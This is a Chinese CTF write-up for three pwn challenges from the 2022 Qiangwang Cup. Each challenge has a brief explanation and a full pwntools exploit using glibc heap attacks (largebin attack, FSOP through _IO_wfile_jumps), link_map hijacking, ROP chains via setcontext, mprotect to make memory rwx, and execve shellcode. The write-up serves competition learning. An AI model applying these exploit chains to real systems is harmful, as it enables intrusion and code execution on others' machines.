Single

2022 强网杯 Pwn 部分Writeup

有一位先哲曾经说过:“看了题,感觉不如去hvv。”

house of cat

实际上就是house of apple,链接:https://bbs.pediy.com/thread-273832.htm

有两次largebin_attack的机会,两次0x30大小的edit机会

一次用来修改stderr,一次用来修改main_arena中的top_chunk地址用来触发malloc_assert,从而fflush(stderr)

exp:

from pwn import*
r=remote("182.92.222.142",25394)
#r=process('./house_of_cat')
context.log_level='debug'

libc=ELF("./libc.so.6")

r.recvline()
r.send("LOGIN | r00t QWBQWXF admin")

def new(idx,size,content):
	r.recvuntil("mew mew mew~~~~~~\n")
	r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
	r.recvuntil(":\n")
	r.sendline("1")
	r.recvuntil(":\n")
	r.sendline(str(idx))
	r.recvuntil(":\n")
	r.sendline(str(size))
	r.recvuntil(":\n")
	r.send(content)

def delete(idx):
	r.recvuntil("mew mew mew~~~~~~\n")
	r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
	r.recvuntil(":\n")
	r.sendline("2")
	r.recvuntil(":\n")
	r.sendline(str(idx))

def show(idx):
	r.recvuntil("mew mew mew~~~~~~\n")
	r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
	r.recvuntil(":\n")
	r.sendline("3")
	r.recvuntil(":\n")
	r.sendline(str(idx))

def edit(idx,content):
	r.recvuntil("mew mew mew~~~~~~\n")
	r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
	r.recvuntil(":\n")
	r.sendline("4")
	r.recvuntil(":\n")
	r.sendline(str(idx))
	r.recvuntil(":\n")
	r.send(content)

new(0,0x418,"\n")
new(1,0x428,"\n")
new(2,0x418,"\n")

delete(1)
new(15,0x468,"flag")

show(1)
r.recvline()
libc_base=u64(r.recv(8))-0x21a0d0
success("libc_base: "+hex(libc_base))

stderr=libc_base+0x21a860
tls=libc_base-0x2890
top_chunk=libc_base+0x219ce0
IO_wstrn_jumps=libc_base+0x215dc0
IO_str_jumps=libc_base+0x2166c0
IO_cookie_read=libc_base+0x215be0
_IO_wfile_jumps=libc_base+0x2160c0
setcontext=libc_base+libc.sym["setcontext"]+61
#0x000000000011388f : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
gadget=libc_base+0x11388f
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx=libc_base+0x90529
pop_rcx=libc_base+0x8c6bb
pop_r8=libc_base+0x165b76
syscall=libc_base+0x91396
pop_rax=libc_base+0x45eb0

r.recv(8)
heap=u64(r.recv(8))-0x6b0
success("heap: "+hex(heap))

fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x58,"\x00")
fake_IO_struct+=p64(heap+0x570)
fake_IO_struct=fake_IO_struct.ljust(0x64,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x78,"\x00")
fake_IO_struct+=p64(heap)
fake_IO_struct=fake_IO_struct.ljust(0x90,"\x00")
fake_IO_struct+=p64(heap+0x1470)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps-0x20)
fake_IO_struct=fake_IO_struct.ljust(0x158,"\x00")
fake_IO_struct+=p64(gadget)
fake_IO_struct=fake_IO_struct.ljust(0x178,"\x00")
fake_IO_struct+=p64(setcontext)
fake_IO_struct=fake_IO_struct.ljust(0x1a0,"\x00")
fake_IO_struct+=p64(heap+0x1570)
fake_IO_struct=fake_IO_struct.ljust(0x1d0,"\x00")
fake_IO_struct+=p64(heap+0x1470)
fake_IO_struct=fake_IO_struct.ljust(0x290,"\x00")
fake_IO_struct+=p64(heap+0x1670)+p64(pop_rdi)
fake_IO_struct=fake_IO_struct.ljust(0x2f0,"\x00")
fake_IO_struct+=p64(heap+0xf10)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(0x2)+p64(syscall)
fake_IO_struct+=p64(pop_r8)+p64(3)+p64(pop_rdi)+p64(0xA0000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(1)+p64(0)+p64(pop_rcx)+p64(1)+p64(libc_base+libc.sym["mmap"])
fake_IO_struct+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA0000)+p64(pop_rdx)+p64(0x30)+p64(0)+p64(libc_base+libc.sym["write"])

new(10,0x418,"\n")
new(3,0x418,fake_IO_struct)
new(4,0x418,"\n")
new(5,0x448,"\n")
new(6,0x418,"\n")
new(7,0x438,"\n")
new(8,0x418,"\n")

delete(1)
new(11,0x468,"\n")

delete(3)
edit(1,p64(libc_base+0x21a0d0)+p64(libc_base+0x21a0d0)+p64(heap+0x6c0)+p64(stderr-0x20))
new(14,0x468,"\n")

delete(5)
new(13,0x468,"\n")
delete(7)
edit(5,p64(libc_base+0x21a0e0)+p64(libc_base+0x21a0e0)+p64(heap+0x1740)+p64(top_chunk-0x20))
#gdb.attach(r,"b _IO_wdoallocbuf")

r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("1")
r.recvuntil(":\n")
r.sendline(str(12))
r.recvuntil(":\n")
r.sendline(str(0x468))

r.interactive()

qwarmup

有生之年在qwb拿了个一血,我能吹一年

程序唯一关闭的保护就是RELRO,显然要从这边入手

一开始的malloc肯定是要申请到mmap,借此来做到任意libc地址写

通过修改link_map->l_addr的低位来控制解析完的真实write地址写的位置,让其覆盖掉在bss段上的size变量来达到无限次的任意libc地址写

并且write的真实地址并没有被写进got表,因此每次调用write都会进行symbol查找

attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
......
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); ...... if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); }
......
}

可以看出传给_dl_lookup_symbol_x函数的第一个参数就是待查找函数的函数名

而sym->st_name对于同一个函数而言是一个固定值

而strtab则是来源于于libc上的全局结构体link_map,link_map->l_info[DT_STRTAB],指向程序段

通过低位修改可以让其指向程序段上的某个指向libc可写内存段的指针,进而劫持strtab,达到任意函数调用

虽然有了任意函数解析,但是由于write函数的rdi为1,大部分的printf族函数都无法使用

最后找到没有参数的_IO_flush_all来刷新缓冲区,修改stdout结构体来泄漏libc地址

有了libc地址加上任意libc地址写,打法很多就不再赘述,exp中是使用_IO_cookie_read来ROP

exp:

from pwn import*
#r=remote("127.0.0.1",9999)
#r=remote("121.40.213.105",12001)
r=process('./qwarmup')
context.log_level='debug'

libc=ELF("./libc-2.35.so")

def write(offset,content):
	for i in range(len(content)):
		r.send(p64(offset+i))
		r.send(content[i])
		r.recvuntil("Success!")

def rol(num,shift):
	for i in range(shift):
		num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
	return num

r.send(p32(0xF0000))
write(0x3592d0,"\x70")

write(0x30e770,p32(0xfbad1800))
write(0x30e770+0x20+0x8,"\xFF")

write(0x359108+0x22,"_IO_flush_all")

r.send(p64(0x359338))
gdb.attach(r, "b _IO_cookie_read")
r.send("\xb8")

r.recv(5)
libc_base=u64(r.recv(8))-0x21ba70
success("libc_base: "+hex(libc_base))

setcontext=libc_base+libc.sym["setcontext"]
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx=libc_base+0x90529
pop_rcx=libc_base+0x8c6bb
pop_r8=libc_base+0x165b76
syscall=libc_base+0x91396
pop_rax=libc_base+0x45eb0
#0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget=libc_base+0x1675b0
base=libc_base-0xf3ff0

write(0x359338,"\x78")

write(0x30e770,p64(base))
write(0x30e690+0xd8,p64(libc_base+0x215b80+0x58))
write(0x30e690+0x28,"\x01")
write(0x30e690+0xe8,p64(rol(gadget,0x11)))
write(0xf1760,p64(0))

payload="flag"+p32(0)+p64(base)+p64(0)*0x2+p64(setcontext+61)
payload=payload.ljust(0xa0,"\x00")
payload+=p64(base+0x100)+p64(pop_rdi)
payload=payload.ljust(0x100,"\x00")

payload+=p64(base)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(base)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])

write(0,payload)

r.send(p64(0x359338))

r.send("\xb8")

r.interactive()

devnull

fgets出存在溢出,可以溢出覆盖后面的fd,将其修改为0

从而让后面从/dev/null中read的0x2c个字节变为从stdin中读取,从而达到栈溢出

溢出修改void *buf; // [rsp+38h] [rbp-8h],将其指向bss段,最后进行栈劫持,劫持整个stack

程序没有init,因此不存在常规pop链,需要其他方法来进行ROP

.text:00000000004014F7 lea rax, aThanks ; "Thanks\n"
.text:00000000004014FE mov rdi, rax
.text:0000000000401501 call sub_401356

注意到函数返回时,使用strlen求长度后用write输出了Thanks\n

而该字符串为7个字节,因此rdx为7,刚好为PROT_READ|PROT_WRITE|PROT_EXEC

配合一些gagdet就能让bss段rwx,从而执行shellcode

控制rax

.text:0000000000401350 mov rax, [rbp-18h]
.text:0000000000401354 leave
.text:0000000000401355 retn

调用mprotect修改段权限

.text:00000000004012D0 mov esi, 1000h ; len
.text:00000000004012D5 mov rdi, rax ; addr
.text:00000000004012D8 call _mprotect

exp:

from pwn import*
#r=remote("123.56.86.227",18680)
r=process('./devnull')
context(os="linux",arch="amd64",log_level='debug')

r.recvuntil("please input your filename\n")
r.send("a"*0x20)

stack=0x3feA00

shell=asm("""
		xor rdi,rdi
		push 0x3fe000
		pop rsi
		pushfq
		pop rdx
		xor rax,rax
		syscall
		jmp rsi
	""")

r.recvuntil("Please write the data you want to discard\n")
gdb.attach(r)
r.send("a"*0x14+p64(stack)+p64(stack)+p64(0x40138D))
r.recvline("please input your new data\n")
payload=p64(stack+0x28)+p64(0x401350)+p64(stack&0xFFF000)+p64(0x4012d0)+p64(0)+p64(0)+p64(0x4012d0)+p64(0)+p64(stack+0x48)+shell
r.send(payload.ljust(0x60,"\x00"))

shell="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

r.send(shell)

r.interactive()

暂无评论

发表评论